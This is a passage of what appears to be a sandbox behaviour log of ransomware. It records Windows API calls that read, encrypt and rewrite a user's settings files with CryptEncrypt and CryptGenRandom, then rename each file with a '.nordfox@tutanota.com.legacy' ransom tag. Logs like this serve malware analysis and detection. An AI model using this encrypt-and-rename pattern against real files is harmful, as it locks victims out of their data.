(in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.033] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.034] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.034] CloseHandle (hObject=0x1c24) returned 1 [0196.034] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0196.034] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0196.034] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{06FF5AE9-8F7C-41AD-B71B-62137DE26715}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{06ff5ae9-8f7c-41ad-b71b-62137de26715}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{06FF5AE9-8F7C-41AD-B71B-62137DE26715}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{06ff5ae9-8f7c-41ad-b71b-62137de26715}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0196.037] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0196.037] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e57f0 | out: hHeap=0x520000) returned 1 [0196.037] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e6b08 | out: hHeap=0x520000) returned 1 [0196.037] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e6238 [0196.037] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0196.037] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0196.037] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0196.037] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.037] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{06D12455-F35D-44D6-8E00-3F6A360CC030}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.037] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e5210 [0196.037] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0196.037] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5210 | out: hHeap=0x520000) returned 1 [0196.038] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{06D12455-F35D-44D6-8E00-3F6A360CC030}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{06d12455-f35d-44d6-8e00-3f6a360cc030}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0196.038] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1019) returned 1 [0196.038] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3fb) returned 0x30f6af0 [0196.038] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3fb) returned 0x619440 [0196.038] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3fb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3fb, lpOverlapped=0x0) returned 1 [0196.039] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1019, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.039] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3fb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3fb, lpOverlapped=0x0) returned 1 [0196.040] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0196.040] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0196.040] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3fb [0196.040] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.040] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.040] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.040] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.040] CloseHandle (hObject=0x1c24) returned 1 [0196.040] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0196.040] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0196.040] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{06D12455-F35D-44D6-8E00-3F6A360CC030}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{06d12455-f35d-44d6-8e00-3f6a360cc030}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{06D12455-F35D-44D6-8E00-3F6A360CC030}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{06d12455-f35d-44d6-8e00-3f6a360cc030}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0196.042] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0196.043] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e6238 | out: hHeap=0x520000) returned 1 [0196.043] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e60c0 | out: hHeap=0x520000) returned 1 [0196.043] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e5098 [0196.043] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0196.043] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0196.043] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0196.043] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0196.043] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{06628900-13DD-4fc3-A18B-0E9CE7B663ED}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.043] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e5210 [0196.043] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0196.043] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5210 | out: hHeap=0x520000) returned 1 [0196.043] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{06628900-13DD-4fc3-A18B-0E9CE7B663ED}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{06628900-13dd-4fc3-a18b-0e9ce7b663ed}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0196.044] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1135) returned 1 [0196.044] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x46f) returned 0x30f6af0 [0196.044] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x46f) returned 0x619440 [0196.044] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x46f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x46f, lpOverlapped=0x0) returned 1 [0196.045] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1135, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.045] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x46f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x46f, lpOverlapped=0x0) returned 1 [0196.045] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0196.045] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0196.045] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x46f [0196.045] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.045] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.046] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.046] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.046] CloseHandle (hObject=0x1c24) returned 1 [0196.046] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0196.046] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0196.046] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{06628900-13DD-4fc3-A18B-0E9CE7B663ED}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{06628900-13dd-4fc3-a18b-0e9ce7b663ed}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{06628900-13DD-4fc3-A18B-0E9CE7B663ED}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{06628900-13dd-4fc3-a18b-0e9ce7b663ed}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0196.053] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0196.053] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5098 | out: hHeap=0x520000) returned 1 [0196.053] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5388 | out: hHeap=0x520000) returned 1 [0196.053] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e5210 [0196.053] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0196.053] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0196.053] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.053] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.053] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{059ECE57-19D1-4112-B05C-86F8ED5DA6B0}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e5678 [0196.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0196.054] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5678 | out: hHeap=0x520000) returned 1 [0196.054] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{059ECE57-19D1-4112-B05C-86F8ED5DA6B0}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{059ece57-19d1-4112-b05c-86f8ed5da6b0}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0196.054] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=948) returned 1 [0196.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3b4) returned 0x30f6af0 [0196.055] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3b4) returned 0x619440 [0196.055] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3b4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3b4, lpOverlapped=0x0) returned 1 [0196.056] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-948, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.056] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3b4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3b4, lpOverlapped=0x0) returned 1 [0196.056] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0196.056] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0196.056] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3b4 [0196.056] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.056] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.056] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.057] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.057] CloseHandle (hObject=0x1c24) returned 1 [0196.057] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0196.057] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0196.057] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{059ECE57-19D1-4112-B05C-86F8ED5DA6B0}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{059ece57-19d1-4112-b05c-86f8ed5da6b0}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{059ECE57-19D1-4112-B05C-86F8ED5DA6B0}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{059ece57-19d1-4112-b05c-86f8ed5da6b0}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0196.061] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0196.061] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5210 | out: hHeap=0x520000) returned 1 [0196.061] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e6df8 | out: hHeap=0x520000) returned 1 [0196.061] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e5ae0 [0196.061] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0196.061] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0196.061] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.061] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0196.061] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{030C20F0-E20B-417A-B7AD-CEC6EE955CD3}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.061] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e5c58 [0196.061] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0196.061] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5c58 | out: hHeap=0x520000) returned 1 [0196.061] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{030C20F0-E20B-417A-B7AD-CEC6EE955CD3}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{030c20f0-e20b-417a-b7ad-cec6ee955cd3}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0196.062] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1045) returned 1 [0196.062] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x415) returned 0x30f6af0 [0196.062] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x415) returned 0x619440 [0196.062] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x415, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x415, lpOverlapped=0x0) returned 1 [0196.063] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1045, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.063] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x415, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x415, lpOverlapped=0x0) returned 1 [0196.063] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0196.063] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0196.063] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x415 [0196.063] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.064] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.064] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.064] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.064] CloseHandle (hObject=0x1c24) returned 1 [0196.064] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0196.064] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0196.064] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{030C20F0-E20B-417A-B7AD-CEC6EE955CD3}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{030c20f0-e20b-417a-b7ad-cec6ee955cd3}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{030C20F0-E20B-417A-B7AD-CEC6EE955CD3}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{030c20f0-e20b-417a-b7ad-cec6ee955cd3}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0196.066] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0196.066] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5ae0 | out: hHeap=0x520000) returned 1 [0196.066] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e6c80 | out: hHeap=0x520000) returned 1 [0196.066] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e60c0 [0196.066] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0196.067] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0196.067] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.067] CryptGenRandom (in: hProv=0x55a150, 